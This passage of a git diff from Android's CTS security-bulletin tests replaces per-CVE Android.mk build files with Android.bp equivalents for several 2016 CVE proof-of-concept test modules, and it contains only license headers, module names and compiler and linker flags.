+    // Tag this module as a cts test artifact
+    test_suites: [
+        "general-tests",
+    ],
+    cflags: [
+        "-Wno-unused-parameter",
+        "-Wno-unused-variable",
+        "-Wno-unused-function",
+    ],
+    ldflags: [
+        "-fPIE",
+        "-pie",
+    ],
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2016-8426/Android.mk b/hostsidetests/securitybulletin/securityPatch/CVE-2016-8426/Android.mk
deleted file mode 100644
index aa9d14a..0000000
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2016-8426/Android.mk
+++ /dev/null
@@ -1,32 +0,0 @@
-# Copyright (C) 2016 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH := $(call my-dir)
-
-include $(CLEAR_VARS)
-LOCAL_MODULE := CVE-2016-8426
-LOCAL_SRC_FILES := poc.c
-LOCAL_MULTILIB := both
-LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
-LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
-
-# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests sts
-LOCAL_CTS_TEST_PACKAGE := android.security.cts
-
-LOCAL_ARM_MODE := arm
-LOCAL_CFLAGS := -Wno-unused-parameter -Wall -Werror
-LOCAL_CFLAGS += -Wno-unused-variable -Wno-unused-function
-LOCAL_LDFLAGS += -fPIE -pie
-include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2016-8427/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2016-8427/Android.bp
new file mode 100644
index 0000000..ae36966
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2016-8427/Android.bp
@@ -0,0 +1,32 @@
+// Copyright (C) 2016 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+cc_test {
+    name: "CVE-2016-8427",
+    defaults: ["cts_hostsidetests_securitybulletin_defaults"],
+    srcs: ["poc.c"],
+    // Tag this module as a cts test artifact
+    test_suites: [
+        "general-tests",
+    ],
+    cflags: [
+        "-Wno-unused-parameter",
+        "-Wno-constant-conversion",
+        "-Wno-user-defined-warnings",
+    ],
+    ldflags: [
+        "-fPIE",
+        "-pie",
+    ],
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2016-8427/Android.mk b/hostsidetests/securitybulletin/securityPatch/CVE-2016-8427/Android.mk
deleted file mode 100644
index 7e196fe..0000000
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2016-8427/Android.mk
+++ /dev/null
@@ -1,32 +0,0 @@
-# Copyright (C) 2016 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH := $(call my-dir)
-
-include $(CLEAR_VARS)
-LOCAL_MODULE := CVE-2016-8427
-LOCAL_SRC_FILES := poc.c
-LOCAL_MULTILIB := both
-LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
-LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
-
-# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests sts
-LOCAL_CTS_TEST_PACKAGE := android.security.cts
-
-LOCAL_ARM_MODE := arm
-LOCAL_CFLAGS := -Wno-unused-parameter -Wall -Werror
-LOCAL_CFLAGS += -Wno-constant-conversion -Wno-user-defined-warnings
-LOCAL_LDFLAGS += -fPIE -pie
-include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2016-8428/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2016-8428/Android.bp
new file mode 100644
index 0000000..631e54d
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2016-8428/Android.bp
@@ -0,0 +1,33 @@
+// Copyright (C) 2016 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+cc_test {
+    name: "CVE-2016-8428",
+    defaults: ["cts_hostsidetests_securitybulletin_defaults"],
+    srcs: ["poc.c"],
+    // Tag this module as a cts test artifact
+    test_suites: [
+        "general-tests",
+    ],
+    cflags: [
+        "-Wno-unused-parameter",
+        "-Wno-incompatible-pointer-types",
+        "-Wno-missing-field-initializers",
+        "-Wno-unused-variable",
+    ],
+    ldflags: [
+        "-fPIE",
+        "-pie",
+    ],
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2016-8428/Android.mk b/hostsidetests/securitybulletin/securityPatch/CVE-2016-8428/Android.mk
deleted file mode 100644
index 75dae2693..0000000
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2016-8428/Android.mk
+++ /dev/null
@@ -1,33 +0,0 @@
-# Copyright (C) 2016 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH := $(call my-dir)
-
-include $(CLEAR_VARS)
-LOCAL_MODULE := CVE-2016-8428
-LOCAL_SRC_FILES := poc.c
-LOCAL_MULTILIB := both
-LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
-LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
-
-# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests sts
-LOCAL_CTS_TEST_PACKAGE := android.security.cts
-
-LOCAL_ARM_MODE := arm
-LOCAL_CFLAGS := -Wno-unused-parameter -Wall -Werror
-LOCAL_CFLAGS += -Wno-incompatible-pointer-types -Wno-missing-field-initializers
-LOCAL_CFLAGS += -Wno-unused-variable
-LOCAL_LDFLAGS += -fPIE -pie
-include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2016-8429/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2016-8429/Android.bp
new file mode 100644
index 0000000..8b38c55
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2016-8429/Android.bp
@@ -0,0 +1,32 @@
+// Copyright (C) 2016 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+cc_test {
+    name: "CVE-2016-8429",
+    defaults: ["cts_hostsidetests_securitybulletin_defaults"],
+    srcs: ["poc.c"],
+    // Tag this module as a cts test artifact
+    test_suites: [
+        "general-tests",
+    ],
+    cflags: [
+        "-Wno-unused-parameter",
+        "-Wno-incompatible-pointer-types",
+        "-Wno-missing-field-initializers",
+    ],
+    ldflags: [
+        "-fPIE",
+        "-pie",
+    ],
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2016-8429/Android.mk b/hostsidetests/securitybulletin/securityPatch/CVE-2016-8429/Android.mk
deleted file mode 100644
index 7c1c305..0000000
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2016-8429/Android.mk
+++ /dev/null
@@ -1,32 +0,0 @@
-# Copyright (C) 2016 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH := $(call my-dir)
-
-include $(CLEAR_VARS)
-LOCAL_MODULE := CVE-2016-8429
-LOCAL_SRC_FILES := poc.c
-LOCAL_MULTILIB := both
-LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
-LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
-
-# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests sts
-LOCAL_CTS_TEST_PACKAGE := android.security.cts
-
-LOCAL_ARM_MODE := arm
-LOCAL_CFLAGS := -Wno-unused-parameter -Wall -Werror
-LOCAL_CFLAGS += -Wno-incompatible-pointer-types -Wno-missing-field-initializers
-LOCAL_LDFLAGS += -fPIE -pie
-include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2016-8430/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2016-8430/Android.bp
new file mode 100644
index 0000000..1295d71
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2016-8430/Android.bp
@@ -0,0 +1,32 @@
+// Copyright (C) 2016 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+cc_test {
+    name: "CVE-2016-8430",
+    defaults: ["cts_hostsidetests_securitybulletin_defaults"],
+    srcs: ["poc.c"],
+    // Tag this module as a cts test artifact
+    test_suites: [
+        "general-tests",
+    ],
+    cflags: [
+        "-Wno-unused-parameter",
+        "-Wno-incompatible-pointer-types",
+        "-Wno-missing-field-initializers",
+    ],
+    ldflags: [
+        "-fPIE",
+        "-pie",
+    ],
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2016-8430/Android.mk b/hostsidetests/securitybulletin/securityPatch/CVE-2016-8430/Android.mk
deleted file mode 100644
index d163bd4..0000000
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2016-8430/Android.mk
+++ /dev/null
@@ -1,32 +0,0 @@
-# Copyright (C) 2016 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH := $(call my-dir)
-
-include $(CLEAR_VARS)
-LOCAL_MODULE := CVE-2016-8430
-LOCAL_SRC_FILES := poc.c
-LOCAL_MULTILIB := both
-LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
-LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
-
-# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests sts
-LOCAL_CTS_TEST_PACKAGE := android.security.cts
-
-LOCAL_ARM_MODE := arm
-LOCAL_CFLAGS := -Wno-unused-parameter -Wall -Werror
-LOCAL_CFLAGS += -Wno-incompatible-pointer-types -Wno-missing-field-initializers
-LOCAL_LDFLAGS += -fPIE -pie
-include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2016-8431/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2016-8431/Android.bp
new file mode 100644
index 0000000..9e19727
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2016-8431/Android.bp
@@ -0,0 +1,27 @@
+// Copyright (C) 2016 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+cc_test {
+    name: "CVE-2016-8431",
+    defaults: ["cts_hostsidetests_securitybulletin_defaults"],
+    srcs: ["poc.c"],
+    // Tag this module as a cts test artifact
+    test_suites: [
+        "general-tests",
+    ],
+    ldflags: [
+        "-fPIE",
+        "-pie",
+    ],
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2016-8431/Android.mk b/hostsidetests/securitybulletin/securityPatch/CVE-2016-8431/Android.mk
deleted file mode 100644
index 81b0121..0000000
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2016-8431/Android.mk
+++ /dev/null
@@ -1,31 +0,0 @@
-# Copyright (C) 2016 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH := $(call my-dir)
-
-include $(CLEAR_VARS)
-LOCAL_MODULE := CVE-2016-8431
-LOCAL_SRC_FILES := poc.c
-LOCAL_MULTILIB := both
-LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
-LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
-
-# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests sts
-LOCAL_CTS_TEST_PACKAGE := android.security.cts
-
-LOCAL_ARM_MODE := arm
-LOCAL_CFLAGS := -Wall -Werror
-LOCAL_LDFLAGS += -fPIE -pie
-include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2016-8432/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2016-8432/Android.bp
new file mode 100644
index 0000000..9fbef08
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2016-8432/Android.bp
@@ -0,0 +1,30 @@
+// Copyright (C) 2016 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+cc_test {
+    name: "CVE-2016-8432",
+    defaults: ["cts_hostsidetests_securitybulletin_defaults"],
+    srcs: ["poc.c"],
+    // Tag this module as a cts test artifact
+    test_suites: [
+        "general-tests",
+    ],
+    cflags: [
+        "-Wno-unused-parameter",
+    ],
+    ldflags: [
+        "-fPIE",
+        "-pie",
+    ],
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2016-8432/Android.mk b/hostsidetests/securitybulletin/securityPatch/CVE-2016-8432/Android.mk
deleted file mode 100644
index 25e48fc..0000000
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2016-8432/Android.mk
+++ /dev/null
@@ -1,31 +0,0 @@
-# Copyright (C) 2016 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH := $(call my-dir)
-
-include $(CLEAR_VARS)
-LOCAL_MODULE := CVE-2016-8432
-LOCAL_SRC_FILES := poc.c
-LOCAL_MULTILIB := both
-LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
-LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
-
-# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests sts
-LOCAL_CTS_TEST_PACKAGE := android.security.cts
-
-LOCAL_ARM_MODE := arm
-LOCAL_CFLAGS := -Wno-unused-parameter -Wall -Werror
-LOCAL_LDFLAGS += -fPIE -pie
-include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2016-8434/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2016-8434/Android.bp
new file mode 100644
index 0000000..6959175
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2016-8434/Android.bp
@@ -0,0 +1,30 @@
+// Copyright (C) 2016 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+cc_test {
+    name: "CVE-2016-8434",
+    defaults: ["cts_hostsidetests_securitybulletin_defaults"],
+    srcs: ["poc.c"],
+    // Tag this module as a cts test artifact
+    test_suites: [
+        "general-tests",
+    ],
+    cflags: [
+        "-Wno-unused-parameter",
+    ],
+    ldflags: [
+        "-fPIE",
+        "-pie",
+    ],
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2016-8434/Android.mk b/hostsidetests/securitybulletin/securityPatch/CVE-2016-8434/Android.mk
deleted file mode 100644
index 4daad5d..0000000
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2016-8434/Android.mk
+++ /dev/null
@@ -1,31 +0,0 @@
-# Copyright (C) 2016 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH := $(call my-dir)
-
-include $(CLEAR_VARS)
-LOCAL_MODULE := CVE-2016-8434
-LOCAL_SRC_FILES := poc.c
-LOCAL_MULTILIB := both
-LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
-LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
-
-# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests sts
-LOCAL_CTS_TEST_PACKAGE := android.security.cts
-
-LOCAL_ARM_MODE := arm
-LOCAL_CFLAGS := -Wno-unused-parameter -Wall -Werror
-LOCAL_LDFLAGS += -fPIE -pie
-include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2016-8460/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2016-8460/Android.bp
new file mode 100644
index 0000000..0991572
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2016-8460/Android.bp
@@ -0,0 +1,35 @@
+// Copyright (C) 2016 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+cc_test {
+    name: "CVE-2016-8460",
+    defaults: ["cts_hostsidetests_securitybulletin_defaults"],
+    srcs: ["poc.c"],
+    // Tag this module as a cts test artifact
+    test_suites: [
+        "general-tests",
+    ],
+    cflags: [
+        "-Wno-unused-parameter",
+        "-Wno-missing-braces",
+        "-Wno-missing-field-initializers",
+        "-Wno-pointer-arith",
+        "-Wno-pointer-sign",
+        "-Wno-unused-variable",
+    ],
+    ldflags: [
+        "-fPIE",
+        "-pie",
+    ],
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2016-8460/Android.mk b/hostsidetests/securitybulletin/securityPatch/CVE-2016-8460/Android.mk
deleted file mode 100644
index 07eab6c..0000000
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2016-8460/Android.mk
+++ /dev/null
@@ -1,32 +0,0 @@
-# Copyright (C) 2016 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH := $(call my-dir)
-
-include $(CLEAR_VARS)
-LOCAL_MODULE := CVE-2016-8460
-LOCAL_SRC_FILES := poc.c
-LOCAL_MULTILIB := both
-LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
-LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
-
-# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests sts
-LOCAL_CTS_TEST_PACKAGE := android.security.cts
-
-LOCAL_ARM_MODE := arm
-LOCAL_CFLAGS := -Wno-unused-parameter -Wall -Werror
-LOCAL_CFLAGS += -Wno-missing-braces -Wno-missing-field-initializers -Wno-pointer-arith -Wno-pointer-sign -Wno-unused-variable
-LOCAL_LDFLAGS += -fPIE -pie
-include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2016-8479/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2016-8479/Android.bp
new file mode 100644
index 0000000..eecb3dc
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2016-8479/Android.bp
@@ -0,0 +1,48 @@
+// Copyright (C) 2017 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License
+
+cc_test {
+    name: "CVE-2016-8479",
+    defaults: ["cts_hostsidetests_securitybulletin_defaults"],
+    srcs: ["poc.c"],
+    cflags: [
+        "-W",
+        "-g",
+        "-O2",
+        "-Wimplicit",
+        "-D_FORTIFY_SOURCE=2",
+        "-D__linux__",
+        "-Wdeclaration-after-statement",
+        "-Wformat=2",
+        "-Winit-self",
+        "-Wnested-externs",
+        "-Wpacked",
+        "-Wshadow",
+        "-Wswitch-enum",
+        "-Wundef",
+        "-Wwrite-strings",
+        "-Wno-format-nonliteral",
+        "-Wstrict-prototypes",
+        "-Wmissing-prototypes",
+        "-Wno-unused-parameter",
+        "-Wno-unused-variable",
+        "-Wno-macro-redefined",
+        "-fPIE",
+    ],
+    ldflags: [
+        "-fPIE",
+        "-pie",
+        "-rdynamic",
+    ],
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2016-8479/Android.mk b/hostsidetests/securitybulletin/securityPatch/CVE-2016-8479/Android.mk
deleted file mode 100644
index 744144c..0000000
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2016-8479/Android.mk
+++ /dev/null
@@ -1,37 +0,0 @@
-# Copyright (C) 2017 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License
-
-
-LOCAL_PATH := $(call my-dir)
-
-include $(CLEAR_VARS)
-LOCAL_MODULE := CVE-2016-8479
-LOCAL_SRC_FILES := poc.c
-LOCAL_MULTILIB := both
-LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
-LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
-
-# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts sts
-LOCAL_CTS_TEST_PACKAGE := android.security.cts
-
-LOCAL_ARM_MODE := arm
-LOCAL_CFLAGS += -Wall -Werror -W -g -O2 -Wimplicit -D_FORTIFY_SOURCE=2 -D__linux__ -Wdeclaration-after-statement
-LOCAL_CFLAGS += -Wformat=2 -Winit-self -Wnested-externs -Wpacked -Wshadow -Wswitch-enum -Wundef
-LOCAL_CFLAGS += -Wwrite-strings -Wno-format-nonliteral -Wstrict-prototypes -Wmissing-prototypes
-LOCAL_CFLAGS += -Wno-unused-parameter -Wno-unused-variable -Wno-macro-redefined
-LOCAL_CFLAGS += -Iinclude -fPIE
-LOCAL_LDFLAGS += -fPIE -pie
-LOCAL_LDFLAGS += -rdynamic
-include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2016-8482/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2016-8482/Android.bp
new file mode 100644
index 0000000..81bae14
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2016-8482/Android.bp
@@ -0,0 +1,32 @@
+// Copyright (C) 2016 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+cc_test {
+    name: "CVE-2016-8482",
+    defaults: ["cts_hostsidetests_securitybulletin_defaults"],
+    srcs: ["poc.c"],
+    // Tag this module as a cts test artifact
+    test_suites: [
+        "general-tests",
+    ],
+    cflags: [
+        "-Wno-unused-parameter",
+        "-Wno-missing-field-initializers",
+        "-Wno-unused-variable",
+    ],
+    ldflags: [
+        "-fPIE",
+        "-pie",
+    ],
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2016-8482/Android.mk b/hostsidetests/securitybulletin/securityPatch/CVE-2016-8482/Android.mk
deleted file mode 100644
index ae05af6..0000000
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2016-8482/Android.mk
+++ /dev/null
@@ -1,32 +0,0 @@
-# Copyright (C) 2016 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH := $(call my-dir)
-
-include $(CLEAR_VARS)
-LOCAL_MODULE := CVE-2016-8482
-LOCAL_SRC_FILES := poc.c
-LOCAL_MULTILIB := both
-LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
-LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
-
-# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests sts
-LOCAL_CTS_TEST_PACKAGE := android.security.cts
-
-LOCAL_ARM_MODE := arm
-LOCAL_CFLAGS := -Wno-unused-parameter -Wall -Werror
